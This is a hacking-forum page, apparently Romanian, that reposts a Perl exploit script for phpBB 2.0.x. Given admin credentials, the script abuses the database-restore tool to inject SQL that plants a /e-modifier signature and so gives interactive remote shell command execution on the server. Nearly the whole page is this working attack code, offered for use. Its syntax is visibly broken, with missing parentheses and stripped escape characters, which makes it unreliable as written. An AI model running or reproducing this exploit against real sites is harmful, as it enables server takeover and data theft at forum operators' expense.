Deep Blue Team
Bine Ati venit.Noi , DBT vrem sa (va) invatam cat mai multe despre NET
|
Nou pe simpatie:
Profil monaahmed2012
 | Femeie
25 ani
Calarasi
cauta Barbat
25 - 48 ani |
|
|
Deep Blue TeamReguliInregistrareLoginPozeNu sunteti logat. Lista Forumurilor Pe Tematici
|
| #1 |
|
|
Code:
#!/usr/bin/perl
## r57phpbba2e2.pl - phpBB admin 2 exec exploit
## version 2 (based on user_sig_bbcode_uid bug)
## tested on 2.0.12 , 2.0.13 , 2.0.19
## --------------------------------------------
## screen
## r57phpbba2e2.pl -u http://192.168.0.2/phpBB-2.0.19/ -L admin -P password
## Command for execute or 'exit' for exit # id
## uid=80(www) gid=80(www) groups=80(www)
## Command for execute or 'exit' for exit # exit
## --------------------------------------------
## *** surprise included  and broken. /str0ke
## 20/02/06
## 1dt.w0lf
## RST/GHC (http://rst.void.ru , http://ghc.ru)
use LWP::UserAgent;
use Getopt::Std;
use HTTP::Cookies;
getopts("u:L:P:i:p:o:";
$url = $opt_u;
$login = $opt_L;
$password = $opt_P;
$id = $opt_i || 2;
$prefix = $opt_p || 'phpbb_';
$proxy = $opt_o;
if(!$url || !$login || !$password){&usage;}
$|++;
$xpl = LWP::UserAgent->new() or die;
$cookie_jar = HTTP::Cookies->new();
$xpl->cookie_jar( $cookie_jar );
$xpl->proxy('http'=>'http://'.$proxy) if $proxy;
$ids = 'IDS:r57 phpBB2 exploit a2e2#20022006|'.$url.'|'.$login.'|'.$password.'|'.$id.'|'.$prefix;
$res = $xpl->post($url.'login.php',
[
"username" => "$login",
"password" => "$password",
"autologin" => "on",
"admin" => "1",
"login" => "Log in",
],"User-Agent" => "$ids";
$cookie_jar->extract_cookies($res);
if($cookie_jar->as_string =~ /phpbb2mysql_sid [a-z0-9]{32})/) { $sid = $1; }
while ()
{
print "Command for execute or 'exit' for exit # ";
while(<STDIN>
{
$cmd=$_;
chomp($cmd);
exit() if ($cmd eq 'exit');
last;
}
&run($cmd);
}
sub run($)
{
$sql = "UPDATE ".$prefix."users SET user_sig_bbcode_uid='(.+)/e ', user_sig='blah:`echo _START_ && ".$_[0]." && echo _END_`' WHERE user_id=".$id.";";
&phpbb_sql_query("${url}admin/admin_db_utilities.php?sid=$sid",$sql);
$res = $xpl->get($url.'profile.php?mode=editprofile&sid='.$sid,"User-Agent" => "$ids";
@result = split(/n/,$res->content);
$data = '';
$on = $start = $end = 0;
for (@result)
{
if (/_END_/) { $end = 1; last; }
if ($on) { $data .= $_."n"; }
if (/_START_/) { $on = 1; $start = 1; }
}
if($start&&$end) { print $data."rn"; }
}
sub phpbb_sql_query($$){
$res = $xpl->post("$_[0]",
Content_type => 'form-data',
Content => [
perform => 'restore',
restore_start => 'Start Restore',
backup_file => [
undef,
'0wneeeeedddd',
Content_type => 'text/plain',
Content => "$_[1]",
],
]
,"User-Agent" => "$ids";
}
sub usage()
{
print "\=-----------------------------------=/rn";
print "| phpBB admin2exec exploit by RST/GHC |rn";
print "| version 2 (user_sig_bbcode_uid) |rn";
print "/=-----------------------------------=\rn";
print "rn Usage: r57phpbba2e2.pl [OPTIONS]rnrn";
print " Options:rn";
print " -u [url] - path to forum e.g. http://site/forum/rn";
print " -L [login] - admin loginrn";
print " -P [password] - admin passwordrn";
print " -i [id] - admin id (optional, default 2)rn";
print " -p [prefix] - table prefix (optional, default phpbb_)rn";
print " -o [host:port] - proxy (optional)rn";
exit();
}
|
|
| |
|
